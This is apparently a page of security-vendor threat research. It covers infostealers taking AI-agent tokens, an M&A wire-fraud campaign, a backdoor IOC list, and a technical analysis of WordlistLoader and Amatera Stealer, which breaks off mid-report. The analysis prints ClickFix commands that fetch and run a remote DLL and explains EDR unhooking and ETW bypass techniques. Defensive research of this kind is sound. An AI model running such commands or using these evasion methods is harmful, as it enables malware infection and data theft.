<h2>Indicators of Compromise</h2>
File hashes (SHA256)
<ul>
<li>
29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63 - 7zp.dll (trojanized DLL loader, internal name: boy.dll)
</li>
<li>
749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e - p (encrypted PE loader shellcode)
</li>
<li>
D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a - GRAYRABBIT backdoor (internal name: core.dll)
</li>
</ul>
Network indicators
<ul>
<li>
mail.uaiubifas[.]top - GRAYRABBIT C2 domain (port 443, raw TCP, RC4-encrypted)
</li>
<li>
noht1ng[.]top - Exploit page hosting domain
</li>
<li>
8.218.50[.]207 - Staging server (Alibaba Cloud, Hong Kong)
</li>
</ul>

One click. Three critical failures. One backdoor.

Gray Rabbits and the Tale of a One-Click Backdoor

Threat Research Team Lead

Our analysis of recent information-stealer collection rules found a much newer category alongside the familiar browser, wallet, and credential targets: local data associated with Claude, Cline, Codex, Continue, Cursor, OpenCode, and other AI-assisted development tools.&nbsp;This was not an isolated experiment: over a three-month period, our Windows telemetry recorded Amatera and Remus detections among tens of thousands of protected users. <a href="https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns" target="_blank" rel="noreferrer noopener">Amatera</a> targets data associated with Cline and Continue, while <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer" target="_blank" rel="noreferrer noopener">Remus</a> targets Claude, Cursor, and OpenCode. The figures may overlap and describe detections rather than successful infections, but they show that AI agent data has already entered the information-stealer economy.&nbsp;What the malware is collecting goes far beyond harmless preferences. Depending on the agent and its configuration, local files may contain access and refresh tokens, credentials stored in MCP configurations, prompt histories, conversation databases, account details, and traces of the projects a developer has been working on. In one archive, an attacker may obtain both the means to access an account and the context needed to understand what is valuable behind it.&nbsp;Our findings focus primarily on locally installed coding agents and agentic developer tools, and they do not point to a new way of compromising the device or to a vulnerability in an AI model or agent. The information stealer is already running; what has changed is the concentration of valuable information in predictable locations, sometimes in plaintext, and the ease with which those locations can be added to an existing collection list.&nbsp;<h2 class="text-align-justify">The collection rules have already changed&nbsp;</h2>CallbackBeaver, a fast-emerging stealer, has added Cursor and Claude to its collection scope, and we observed more than 5,000 samples during a recent 30-day period. Lower-prevalence families, including BeeStealer, STG Stealer, HydraStealer, APEX Stealer, and Otter Stealer, show that the behavior is spreading beyond one or two larger operations The pace of adoption is striking, with AI agent data appearing in the collection rules of another stealer almost every day.&nbsp;The same behavior is visible across operating systems, with Djinn Stealer on macOS associated with collecting data from Claude, Codex, Gemini, Cline, OpenCode, and Kilo.&nbsp;The reconstructed rules below show how directly several AI-assisted development tools have been added to a stealer's collection scope. The list is a snapshot rather than a complete map of the ecosystem, but it makes the change visible: agent data is now sitting alongside the targets that information stealers have pursued for years.&nbsp;

The targeting of AI agent data is emerging within a much larger infostealer problem. During the first half of 2026, our telemetry recorded infostealer detections among more than 3.3 million unique protected users, with the monthly number consistently exceeding 500,000. These figures cover all infostealer families, not only those known to target AI agent data, but they show the scale of the ecosystem in which this behavior is spreading.&nbsp;<h2 class="text-align-justify">Access and context in the same archive&nbsp;</h2>An agent's local directory contains far more than interface preferences. The exact files, paths, and protections differ between products, operating systems, and user settings, but the material we found falls into two broad categories: access to accounts and connected services, and context that can compromise a user’s privacy by revealing who they are and what they are working on.&nbsp;Some agents cache access tokens or other login details locally so that the user does not have to authenticate for every session. An access token may let an attacker use the account until it expires, while a refresh token can sometimes be exchanged for new access tokens and extend the window of abuse. Stolen tokens can be used to consume paid API capacity, while working access to an account may be packaged and resold so that someone else can use a commercial AI service at the victim’s expense. The outcome depends on the token's scope, lifetime, and the service's own controls, so stealing a file does not guarantee lasting access, but the file can still be as sensitive as a password store.&nbsp;The <a href="https://modelcontextprotocol.io/docs/2026-07-28/getting-started/intro" target="_blank" rel="noreferrer noopener">Model Context Protocol</a>, commonly known as MCP, can extend that access beyond the AI service. It allows an agent to connect to external tools and data sources, and local configurations may include endpoints, headers, environment variables, API keys, or other authentication details. A stolen configuration does not automatically unlock every connected service, because some integrations use short-lived credentials, OS-protected storage, or an interactive authorization flow. Where reusable secrets are stored locally, however, the compromise may reach source control, ticketing platforms, databases, cloud services, or collaboration tools connected to the agent, potentially broadening the attack surface.&nbsp;The context can be just as valuable, because developers use AI assistants to review code, interpret logs, troubleshoot incidents, summarize internal documentation, and reason through unfinished work. Their prompts and transcripts can contain proprietary source code, repository names, internal hostnames and API keys or other secrets pasted into a conversation. If an employee has used the assistant while developing a confidential proof of concept, the stolen history could expose an unpatented invention or another trade secret, with consequences far beyond the theft of an AI account. A transcript may also provide reconnaissance that an attacker would otherwise spend days collecting, including the structure of a codebase, known technical problems, security tooling, and the people involved in a project.&nbsp;Local data may also expose an email address, account or organization identifiers, display name, subscription type, billing status, seat tier, rate limits, user preferences, and a history of recent files or projects. None of these fields is as dramatic as a token, but together they can undermine the user’s privacy by building a detailed picture of who they are and what they do. Combined with personal information stolen elsewhere from the device, they may also contribute to identity theft, while helping criminals identify valuable victims and make targeted/spear phishing or extortion attempts more convincing.&nbsp;The danger lies in combining access with context: a browser cookie can open a door, but an AI-agent archive may also tell the attacker whose door it is, which projects are behind it, and which connected systems may be reachable from the same workspace. Incident responders should therefore treat agent credentials and local histories as part of the broader identity and access surface, not as an isolated AI account.&nbsp;<h2 class="text-align-justify">Adding the next agent may take one configuration update&nbsp;</h2>Many information stealers already receive remotely managed collection rules specifying directories, filenames, extensions, databases, search depth, or file-size limits. Once an operator learns where an agent stores useful data, expanding that list can be as simple as adding another path.&nbsp;The malware may not need to be rebuilt or redistributed. An updated rule can be delivered to existing installations, allowing the operator to start collecting a newly popular agent's files across already compromised devices. This does not apply to every stealer, and some tools need product-specific parsing or decryption, but the basic barrier to entry is low when the target is a predictable local file.&nbsp;If a major stealer does not collect a particular agent today, its absence from the list should be treated only as a snapshot, not as evidence that the agent will remain outside the collection scope once criminals see enough users, valuable accounts, or resale demand.&nbsp;<h2 class="text-align-justify">What users and security teams should do&nbsp;</h2>AI-agent data should be included in the same security conversations as browser profiles, developer credentials, password stores, and cloud command-line tools. The response needs to cover both prevention and the actions taken after a suspected stealer infection.&nbsp;<ul type="disc"><li data-list-item-id="e9c8f62b192dd7be1ca6328df6679dcb8">Know what is stored locally. Inventory the agents in use, review their retention and history settings, and understand where they keep credentials, conversations, project records, and MCP configuration.&nbsp;</li><li data-list-item-id="eb7c4958e803b3c580e162cae0d899d6a">Prefer protected credential storage. Where a product offers a choice, use the <a href="https://developers.openai.com/codex/auth" target="_blank" rel="noreferrer noopener">operating system's credential store, keychain, or keyring</a> rather than file-based token storage. A local authentication file containing access tokens should be treated like a password.&nbsp;</li><li data-list-item-id="ed3c578310cc33e114c3aea0bc5f495fe">Keep secrets out of prompts and histories. Avoid pasting passwords, private keys, API secrets, or customer data into a conversation. If a secret has been exposed for troubleshooting, rotate it and remove the retained conversation where possible.&nbsp;</li><li data-list-item-id="e1288f8a1a4ebbb51184460556d34c0db">Limit what connected tools can do. Give MCP integrations only the permissions they need, favor short-lived and narrowly scoped tokens, and separate personal, development, and production access. Review old servers and revoke connections that are no longer used.&nbsp;</li><li data-list-item-id="ea4fc9c9016c9026dbf5d7ada8eee07f6">Protect the endpoint. Keep the operating system and applications updated, use reputable endpoint protection, and be particularly cautious with ClickFix/FakeCaptcha instructions, cracked software, unofficial installers, and other common routes used to deliver information stealers.&nbsp;</li><li data-list-item-id="ea8ebc0cc54527b97295b8e4240320f3c">Expand incident response. After a stealer infection, changing browser passwords alone is no longer enough. From a clean device, revoke AI-service sessions, rotate API keys and other credentials used by MCP connections, review connected applications and account activity, and assess whether local prompts or transcripts exposed company information. Multi-factor authentication remains important, but it may not stop abuse of a session token that has already been stolen.&nbsp;</li></ul><h2 class="text-align-justify">Safer defaults have to come from the products too</h2>Users cannot carry this responsibility alone, so agent developers should minimize the amount of sensitive information kept locally, separate authentication material from ordinary history, use OS-protected credential storage wherever possible, and make retention controls easy to find and understand. Tokens should be short-lived, scoped to the smallest practical set of permissions, and simple to revoke. MCP connections need equally clear visibility, so users and administrators can see what is connected, what it can access, and when it was last used.&nbsp;Encryption at rest can help, but it should not become a reassuring label without a threat model behind it. If the decryption key is stored beside the database, or the application automatically unlocks everything for any process running as the user, an information stealer may still obtain the data. Reducing what is retained and limiting the value and lifetime of credentials are just as important as encrypting the file.&nbsp;AI agents are becoming a new layer of working memory on our devices, storing not only what we ask them, but also who we are, what we are building, and which services we have allowed them to reach. Information stealers have already adjusted their collection rules to reflect that value, and because another agent can sometimes be added with a simple configuration update, the target list will continue to change as adoption grows.&nbsp;Once an AI agent holds credentials, conversation history, and a map of the user’s work, its local files are no longer merely configuration. They have become another high-value data store on the device, and attackers are already treating them that way.&nbsp;

Malware operators are expanding beyond browser passwords and crypto wallets to collect access tokens, MCP configurations, prompt histories and project data stored by AI tools. 

Infostealers Have Found a New Target: Your AI Agent 

Sr Princ Threat Analysis Engineer

Security Evangelist at Gen

It started with an innocent WhatsApp message.“Hi David, I hope you are well. Are you at the office?”The sender claimed to be a real Gen executive based in Dublin. The profile used his name, photograph and an Irish telephone number. Nothing in the opening message mentioned money, urgency or an acquisition. It was simply designed to establish whether the recipient was available and willing to respond.The recipient, whom we will call David, worked in Gen’s legal team and knew the colleague being impersonated. The unfamiliar telephone number raised suspicion, and the first phone conversation confirmed it: the caller’s voice did not match.David knew he was dealing with a scam. Every subsequent message, call and document formed part of a controlled effort to understand how the operation worked and gather evidence about the people behind it.What followed involved a second impersonated identity, forged legal documents, a fictitious confidential acquisition and a request to transfer €626,735.45 to a company in Hong Kong.What began as an attack against Gen’s legal team soon revealed a wider pattern. Our researchers found four additional targeted individuals who had received closely related NDA documents. The companies, advisers and acquisition narratives changed, but the structure, communication rules and document fingerprints remained remarkably consistent.We call the campaign Phantom Deal.<h2>A real person, but neither his number nor his voice</h2>The first persona claimed to be someone from inside the company. The attacker had selected an identity that made sense in the context of Gen’s international operations and used a phone number with the correct country code to reinforce the illusion.The deception did not survive the first call. David knew the person being impersonated, and the voice on the other end was not his.After the initial exchange, a second person entered the conversation. This time, the attacker impersonated a genuine professional associated with PwC and asked the target to provide a private email address.That request was not incidental.The forged NDA that followed instructed the recipient to keep all communication related to the acquisition on WhatsApp and personal email. The attackers tried to keep the entire exchange outside corporate communication channels before introducing any payment request.The attackers had also studied Gen’s history. The acquisition narrative referenced Avast Software and NortonLifeLock Ireland Limited, drawing on the real acquisition of Avast by NortonLifeLock in 2022 and the subsequent creation of Gen Digital. The names were familiar, the corporate relationship had existed, and an intercompany transaction could appear plausible to someone operating under pressure and secrecy.This was not a generic message sent to thousands of employees. The story had been adapted to its target. The targeting was tailored, but the execution was not flawless. David quickly identified inconsistencies in the explanation for why Avast should make a payment on behalf of NortonLifeLock Ireland Limited. His legal background and familiarity with internal transaction processes made those gaps easier to spot. A more coherent payment narrative could have made the same playbook considerably more convincing.

<h2>The NDA was not supporting material</h2>The next stage was a professional-looking NDA branded as a document from PwC.Fake legal documents are common in corporate fraud, but the NDA served a more important role than simply making the acquisition story look credible. It established the rules under which the victim was expected to operate.The document introduced a confidential acquisition, imposed a strict disclosure regime and set a near-term date for the supposed public announcement. Most importantly, it required communication to take place through WhatsApp and personal email.Under normal circumstances, instructions to avoid company systems and exclude colleagues from a major transaction would be obvious warning signs. Inside the fiction created by the NDA, the same behaviour could be presented as a legal obligation.The attackers were attempting to turn the company’s own confidentiality culture against it.The target was encouraged not to involve colleagues, not to discuss the transaction through normal channels and not to verify the instructions with Legal, Finance, Treasury, Compliance or Corporate Development. A recipient who treated the NDA as genuine would become increasingly isolated from the colleagues most likely to challenge the story.The NDA was not an accessory to the attack. It was the payload.

<h2>A deal that had to remain secret</h2>The attackers presented the acquisition as a tightly controlled transaction coordinated by a reputable adviser, with only a small group involved and an announcement approaching fast.The victim was told that the transaction would become public on June 19, 2026. The NDA had been presented only days earlier.That short window created pressure while providing a ready-made explanation for why the operation could not be discussed more broadly.The supposed adviser then sent payment instructions asking Avast Software s.r.o. to transfer money on behalf of NortonLifeLock Ireland Limited.The amount was precise: €626,735.45.The beneficiary was a company in Hong Kong, with the payment described as an “Advance Retainer for Professional Services.” The document stated that the amount would be recorded as an intercompany receivable and reimbursed when the acquisition was formally announced.It was a classic advance-payment fraud wrapped in the language of M&amp;A, legal privilege and internal corporate accounting.<h2>“I need a SWIFT MT103”</h2>Once the payment instructions had been delivered, the tone changed.The attacker began following up for confirmation that the transfer had been completed. The target was asked to provide a SWIFT MT103, the banking message used as evidence that an international transfer has been executed.“I need a swift MT103, it’s an official proof of wire transfer to attached to the package.”Later, after receiving what appeared to be a confirmation email, the attacker complained that the link would not open and asked for the document as a PDF. He then added another requirement: the confirmation should contain the UETR number, a unique reference used to track a payment through the SWIFT network.The request for the MT103 and UETR confirmed the objective. The attackers wanted proof that the funds were moving and the information needed to monitor the transfer, potentially reducing the time available for the company or its bank to intervene.

<h2>Turning the attack into intelligence</h2>Once David had identified the scam, the objective shifted from verification to intelligence gathering. Working with our researchers, he continued the exchange while the team controlled the material being sent and monitored how the operation responded.A fake account statement was prepared, showing what appeared to be the requested payment and the remaining company balance. The document contained a hidden marker that could identify whether it was opened on a system protected by one of our products.When the attackers requested formal MT103 confirmation, the team also created a fake Citibank-style confirmation email. It contained the transaction amount, beneficiary and payment reference expected by the criminals, together with a link to view the full transaction details.The link did not lead to real banking information. It contained a canary token, allowing our researchers to record when it was opened.When he reported that the link was not working, the team suggested that his VPN might be causing the problem and asked him to disable it. Further access attempts followed within minutes.The token recorded 49 HTTP requests from 43 IP addresses over 24 days. Most of the activity in the first minutes came from automated scanners, cloud services and redirect-analysis systems, so the raw count does not represent 49 actions by the attacker.After filtering that noise, the remaining data showed repeated interaction through VPNs, proxy services and several non-hosting internet connections. Some visits were separated by hours or days and used different browser profiles, behaviour consistent with a person returning to the link and attempting to retrieve the promised payment information.The network data helped us separate scanner traffic, proxy infrastructure and repeated manual access, but it was not enough to attribute the operation. Some later visits came from ordinary ISP ranges, although those connections show where the traffic exited, not necessarily where the fraudsters were located.&nbsp;The later visits showed repeated manual access by someone connected to the fraud operation, including long after the supposed transfer should have been completed.

<h2>From one attack to a wider campaign</h2>The controlled interaction gave us visibility into the live fraud attempt, while the forged NDA gave us something else: a set of document fingerprints we could hunt for.Using its structure, wording and embedded identifiers, the team found four additional NDA samples connected to other targeted individuals.The organizations and professions varied. The targets included senior people in private equity, industrial finance, sales, mining and energy. For each of them, an acquisition or strategic investment narrative would have been credible enough to justify initial engagement.The advisers also changed. Some documents impersonated PwC, while others used KPMG or Ogier branding. There is no indication that any of these firms were compromised or involved in the operation. Their names and identities were being abused to make the documents appear legitimate.Despite the different branding, the documents followed substantially the same sequence of sections and reused the same legal language. They all imposed confidentiality, directed communications towards WhatsApp and personal email, and introduced a short period between the NDA date and the supposed public announcement.They also contained the same unusual numeric identifier across documents attributed to different firms and prepared for unrelated recipients. This kind of residue is common when criminals reuse document templates. Names, dates, logos and transaction references may be changed, while less visible elements remain untouched.The repeated structure suggests that the attackers were not building each operation from scratch. They had developed a reusable M&amp;A fraud package that could be adapted to different people and companies.In the Gen case, we observed the complete chain, from WhatsApp contact to payment request and demand for MT103 confirmation. For the other four targets, we found the malicious NDA documents carrying the same core narrative and document fingerprints, but did not observe the later payment stage.Taken together, the evidence points to a wider M&amp;A-themed fraud campaign built around the same narrative and document toolkit. It does not establish that every target received identical payment instructions or that every document was operated by the same individual.<h2>No malware, no compromised mailbox</h2>Phantom Deal did not require an exploit, malicious attachment or stolen corporate email account.The operation drew on publicly available information, real names, photographs, company history and familiar business procedures. WhatsApp made the contact immediate, the forged NDA justified secrecy, and the acquisition narrative created the urgency needed to move the victim towards payment. The financial request appeared only after the surrounding story had been established.A security team searching only for malware or suspicious email links could miss the entire operation.The attack was designed to induce a process failure rather than exploit a technical vulnerability. The criminals attempted to convince the target that bypassing normal controls was necessary to protect a confidential deal.The warning signs appeared well before the Hong Kong bank account. Keeping a sensitive corporate transaction on WhatsApp and personal email was already enough to require independent verification.<h2>How companies can interrupt the chain</h2>Confidential transactions require restricted access, but secrecy should never remove independent verification.Organizations can reduce exposure by establishing a small number of rules that apply even to the most sensitive acquisitions, investments and restructuring projects:<ul type="disc"><li data-list-item-id="e79a03ebdcc50053e9752b64215ac6d0d">Payment instructions must be verified through an independently established channel, not through contact details supplied during the transaction.</li><li data-list-item-id="e56458281a15b902c959078fd579c2999">No executive, adviser or board member should be able to override payment controls through WhatsApp, personal email or a confidentiality claim.</li><li data-list-item-id="e18c724391af3cb0258190c8ed3abd5c9">Legal, Finance, Treasury and Corporate Development teams should have a defined escalation route for unexpected transaction requests.</li><li data-list-item-id="e14239b646035ac07ac66d03bc0296926">Staff involved in payments should be trained to recognize requests for MT103 documents, UETR references and other confirmation data as part of the fraud chain, not merely as administrative follow-up.</li><li data-list-item-id="ea23d5cfe13818e8eefd6ca3cdb93d591">External advisers should be contacted using verified directory information whenever their identity or instructions are in doubt.</li><li class="ck-list-marker-bold" data-list-item-id="edfd65aefb0bda3b6fe5bc0523c729c49">Changes of communication channel, especially from corporate systems to private accounts, should trigger additional scrutiny.</li></ul>The same rules must apply when the request appears to come from the CEO, a board member or someone already known to the recipient.<h3>An NDA can limit who is told about a transaction. It should never prevent the transaction from being authenticated.</h3><h2>Real details, false transaction</h2>Phantom Deal drew credibility from genuine information. The people, companies and advisers were real, as was the acquisition history connecting Gen and Avast. International payments, professional retainers and intercompany receivables are also normal elements of large corporate transactions.The transaction tying those details together was fabricated, and the execution was uneven. The caller’s voice did not match the colleague being impersonated, while the explanation for the payment contained inconsistencies that a lawyer familiar with the company’s processes could identify quickly. A more coherent story might have been considerably more dangerous.Why try this against a security company? Probably for the same reason they try it anywhere else: a security company is still a company. It has money, confidential transactions and employees whose jobs do not involve analysing scams. The attackers were not trying to defeat our security technology. They were trying to find one person who might accept the story and step outside the normal process.In this case, they chose someone who knew the colleague, recognized that the voice did not match and understood that the payment explanation made no sense. From that moment, the supposed victim was no longer following their script. He was helping us investigate it.There is also some irony in how it ended. After spending days building a narrative around trust, secrecy and urgency, someone connected to the fraud operation repeatedly interacted with the fake payment confirmation we placed in front of them.The NDA was intended to keep the operation confidential. Its reused language, structure and identifiers ultimately helped expose the campaign behind it.

Attackers posed as executives, moved conversations to WhatsApp and personal email, and forged acquisition documents to set up international wire transfers. When they targeted Gen, researchers played along, exposing a wider M&A scam.

The NDA Was the Payload: Inside Phantom Deal, a Fake Acquisition Fraud Campaign

Threat Researcher at Gen

<h2>Key Points</h2>
<ul>
<li>
Gen Threat Labs has identified WordlistLoader, a new loader used to deliver Amatera Stealer via ClearFake campaigns.
</li>
<li>
Amatera has been actively developed over the past few months and has gradually become one of the most prevalent infostealers in our user base.
</li>
<li>
In this technical blog post, we highlight the changes Amatera has introduced between version 4.0.2 Beta (documented by <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">eSentire</a>) and version 4.3.3-alpha1, the latest version at the time of writing.
</li>
<li>
Key changes include enhanced static obfuscation, hardened syscall invocation through the WoW64 transition, dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and a redesigned Application-Bound Encryption bypass.
</li>
</ul>

<h2>Introduction</h2>
Over the past few months, Amatera Stealer (also often referred to as ACR Stealer) has been actively developed and has gradually become one of the most prevalent infostealer in our user base. Most recently, we've been observing Amatera being distributed via ClearFake campaigns leveraging FakeCaptchas.
Although FakeCaptcha, as a technique, is well-known and has been documented countless times, it has proven to be one of the most effective social engineering techniques for luring victims into infecting their own machines, which is why we still keep seeing it so often in malware campaigns, and why we proactively defend against these types of attacks with our <a href="https://www.gendigital.com/blog/news/family-of-brands/clipboard-protection">Clipboard protection</a>.
In the case of ClearFake campaings, FakeCaptchas are served through compromised, legitimate websites, via injected malicious JavaScripts that overlay a fake CAPTCHA verification on top of the real website. Once the visitor clicks on the "I'm not a robot" checkbox, they're walked through the well-known ClickFix flow, where a malicious command is copied into their clipboard and the victim is instructed to paste it into the Windows Run dialog and execute it, leading to the download of WordlistLoader that ultimately results in the execution of Amatera.

As for the aforementioned injected JavaScript, it is embedded in the webpage as a Base64-encoded blob. The blob contains obfuscated JavaScript whose purpose is to retrieve another JavaScript from a smart contract stored on a blockchain (a technique known as EtherHiding), and dynamically execute the retrieved code. Through several subsequent stages, the retrieved code performs additional checks and ultimately injects a fake CAPTCHA into the compromised webpage.

Since the whole chain of how the fake CAPTCHA reaches the webpage has already been documented by <a href="https://expel.com/blog/clearfake-new-lotl-techniques/">Expel</a>, we do not cover it further here. Interested readers can refer to <a href="https://expel.com/blog/clearfake-new-lotl-techniques/">their article</a>. Instead, we focus on what happens when the user executes the copied command.
The clipboard commands follow a consistent pattern: they use <code>conhost</code> to launch a hidden <code>cmd</code> process, map a remote WebDAV share using <code>pushd</code>, and finally invoke the <code>Run</code> export of the downloaded DLL (WordlistLoader) via <code>rundll32</code>.
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\kudbwiw\[.\]shop-nitrilean.com!s!\96fd1e29-81b3-4b81-9231-2c7e2f78ae48 &amp; r^undl^l32 gmwmvymdzgqgptwvbslq.dll,Run"</code>
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\nqhuew\[.\]shop-thyrafemmebalance.com!s!\34fe76b7-73a8-42f7-bfc0-089b5069cff7 &amp; ru^ndl^l32 azjsbxanuofzndqtmtlv.dll,Run"</code>
<code>conhost --headless -- cmd ^&amp;/v:on /c "set s=@SSL&amp;pu^shd \\lldoxqa\[.\]shop-nitrilean.com!s!\df696b95-bdff-48c0-94da-68eb6598a012 &amp; r^undl^l32 dldwwqhuxbpvaqeyylar.dll,Run"</code>
This pattern closely resembles campaigns recently documented by <a href="https://www.microsoft.com/en-us/security/blog/2026/07/16/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity/#campaign-1-webdav-based-clickfix-with-python-loaders-and-blockchain-c2">Microsoft</a>, suggesting an evolution of the distribution chain, with the operators using a similar delivery mechanism while replacing the Python-based loaders with WordlistLoader.

<h2>WordlistLoader</h2>
The primary purpose of WordlistLoader, an intermediate stage in the Amatera infection chain, is to reconstruct a shellcode that serves as the entry point for subsequent stages. Before transferring control to the shellcode, WordlistLoader performs three preparatory actions, two of which serve as defense-evasion mechanisms:
<ul>
<li>
A single-instance check based on a named event
</li>
<li>
Unhooking of all loaded modules
</li>
<li>
An ETW bypass based on a hardware breakpoint and VEH
</li>
</ul>

<h3>Unhooking Loaded Modules</h3>
To determine whether a function is hooked, WordlistLoader enumerates loaded modules with <code>CreateToolhelp32Snapshot</code> using the <code>TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32</code> flags, skips those whose name contains <code>.exe</code>, and compares the first instruction of each named export with the corresponding instruction in a clean copy read from disk.

A function is considered hooked when its in-memory prologue begins with one of the following jump opcodes and the clean copy does not, or when both begin with a jump, but to a different target:
<ul>
<li><code>E9</code> (near relative jump)</li>
<li><code>EB</code> (short relative jump)</li>
<li><code>EA</code> (far absolute jump)</li>
<li><code>FF</code> (indirect jump, although only <code>FF 25</code>, i.e. <code>jmp dword ptr [addr]</code>, is handled correctly)</li>
</ul>
Before the opcode is read, a single legacy prefix (<code>0x2E</code>, <code>0x36</code>, <code>0x3E</code>, <code>0x64</code>, <code>0x65</code>, <code>0x66</code>, <code>0xF0</code>, or <code>0xF2</code>) is skipped on either side, so that a prefixed jump is not mistaken for untouched code. Additionally, if the in-memory prologue is not a jump but matches <code>4C 8B D1 E9</code>, i.e. an x64 syscall stub (a <code>mov r10, rcx</code> followed by a jump instruction), the comparison is shifted three bytes forward to start at the jump. Whenever a hook is detected, the loader computes the length of the offending jump and restores the original bytes from the clean copy.

Notably, the copy read from disk is never relocated, which is precisely why the loader checks for a jump instead of simply diffing the two prologues, as a mapped module legitimately differs from its on-disk copy wherever an absolute address appears. This is exactly the case with <code>FF 25</code> thunks, where WordlistLoader compares only the low 16 bits of the pointer, which the relocation delta cannot affect, as image bases are always aligned to 64 kB.

<h3>ETW Bypass</h3>
The second defense-evasion mechanism employed by WordlistLoader is a hardware-breakpoint-based ETW (Event Tracing for Windows) bypass, which comes down to setting a hardware breakpoint on <code>ntdll!NtTraceEvent</code> and registering a vectored exception handler. Every call to <code>NtTraceEvent</code> then raises an <code>EXCEPTION_SINGLE_STEP</code> exception, which the handler resolves by pointing the instruction pointer (<code>EIP</code>) at a stub that does nothing but return zero, and resuming execution there. Execution therefore never reaches the body of <code>NtTraceEvent</code>, so the event is never logged, and since the call still returns <code>STATUS_SUCCESS</code> (<code>0x00000000</code>), the caller has no indication anything went wrong.

<h3>Building the Shellcode</h3>
Finally, the loader proceeds to reconstruct the shellcode, which is stored in encoded form as a sequence of plain English words, with each word representing exactly one byte. The mapping from English words to byte values is defined by a build-specific wordlist of 256 distinct words: the word at index 0 decodes to <code>0x00</code>, the word at index 144 to <code>0x90</code>, and so on.
Both the wordlist and the encoded sequence are stored as arrays of pointers, so the loader matches addresses rather than the strings themselves. Rebuilding the shellcode thus comes down to iterating over the word sequence, looking up each word in the list, and writing the index of the matching entry into the output buffer. Once the entire sequence has been processed, the buffer contains the reconstructed shellcode. Hence the name WordlistLoader.

Notably, we also identified a modified version of WordlistLoader in which the wordlist is replaced with an array of UUIDs, while the loader's execution flow otherwise remains unchanged. Rather than encoding the shellcode one byte at a time, this variant represents it as a sequence of 16-byte UUID-encoded chunks. The loader reconstructs the shellcode by iterating over the array and passing each entry to <code>UuidFromStringA</code>, which converts the UUID into the corresponding 16 bytes of shellcode.

<h3>The Shellcode</h3>
The shellcode begins with a NOP sled, followed by an anti-emulation stub whose sole purpose, apart from burning time, is to repeatedly patch a single byte. Using the standard <code>call/pop</code> trick, the stub takes its own return address as the patching target and enters an outer loop of 254 rounds, with each iteration first executing an inner delay loop and then patching the target address (which is the same for every iteration). The value written decreases with every round, ultimately reaching <code>0x90</code> on the final iteration. As shown in Figure 11 below, the patched byte is part of a <code>call dword ptr [eax-0x6F6F6F70]</code> instruction, which corresponds to the <code>FF 90 90 90 90 90</code> opcodes. Therefore, overwriting the first byte with <code>0x90</code> turns the <code>call</code> instruction into a run of NOPs, allowing execution to fall through to the decryption stub that follows.
The stub's anti-emulation purpose is apparent from its runtime cost, as each of the 254 patches is preceded by the delay loop of 16,777,215 (<code>0xFFFFFF</code>) iterations that perform no meaningful computation.

Execution then proceeds to the decryption stub, which uses the same <code>call/pop</code> trick to obtain a pointer to the encrypted blob that follows. The blob consists of a sequence of 33-byte records, each comprising a one-byte XOR key followed by 32 encrypted bytes, together forming a next stage executed afterward. For each record, the stub XORs the 32 encrypted bytes with that record's key and writes them back into the same buffer, dropping the key bytes and repeating this cycle until it encounters a <code>0x11C311C3</code> marker terminating the stream.
Finally, execution is transferred to the decrypted code, which resolves <code>NtProtectVirtualMemory</code>, re-protects the region as <code>PAGE_EXECUTE</code> (dropping the write access needed for the in-place decryption), and hands control over to a reflective loader responsible for unpacking and loading Amatera.

Interestingly, the reflective loader is identical to the one <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">eSentire documented</a> several months ago, suggesting it might originate directly from the Amatera authors. As for WordlistLoader, we've only observed it delivering Amatera, which would point in the same direction, though we have no further evidence to support that claim.

<h2>Amatera 4.3.3-alpha1</h2>
Amatera was recently <a href="https://www.esentire.com/blog/amatera-stealer-4-0-2-beta-whats-new-in-this-variant">documented by eSentire</a>, covering version 4.0.2 Beta. Since then, however, the stealer has remained under active development and has moved through several versions, with the latest one we have observed being 4.3.3-alpha1. In this section, we focus on the changes introduced between version 4.0.2 Beta and version 4.3.3-alpha1.
<h3>Static Obfuscation</h3>
First of all, Amatera has undergone several updates in terms of static obfuscation. The first major change was introduced in version 4.1.0-alpha.1, when Amatera began incorporating control-flow flattening and indirect control-flow obfuscation into its builds, roughly doubling the size of the resulting binaries.

Another notable change concerns API hashing. In version 4.0.2 Beta, all imports were resolved using a single hashing algorithm, so precomputing the hashes once was sufficient to annotate every call. In newer versions, the resolution is spread across dozens of nearly identical resolvers, each using its own multiply-rotate-XOR hash with different constants and operation order. Consequently, the same API name maps to a different hash value depending on which resolver handles the call. Hashes must therefore be precomputed separately for each resolver, slowing down the analysis.
Finally, as is quite typical for Amatera, it has revised its string obfuscation once again. Each string is now stored as a ciphertext blob, with its length and a numeric key index supplied at the decryption call site. For every byte, the key index and the byte's offset are mixed into a 64-bit state through four splitmix64-style rounds, producing four key bytes. The plaintext byte is then recovered as <code>ROR((ciphertext ^ key_3) - key_2, key_1) ^ key_0</code>.
Interestingly, the decryption routine also employs a deliberate stack modification aimed at thwarting decompilation. The modification occurs in a dead branch guarded by a flag that is never set anywhere in the binary. Should the branch ever be taken, it would subtract <code>0x7FFFFF00</code> from <code>ESP</code>, call a stub that does nothing but return zero, and add the same value back to <code>ESP</code>. Such a stack shift (of almost 2 GB) is nothing a regular compiler would ever emit, and is enough to break IDA's stack-frame reconstruction and make it refuse to decompile the function. For now, we have only observed this trick in a single function, but given the pace at which Amatera evolves, it would not be surprising to see it spread across the whole binary in the future.

<h3>Hardened Syscall Invocation Through the WoW64 Transition</h3>
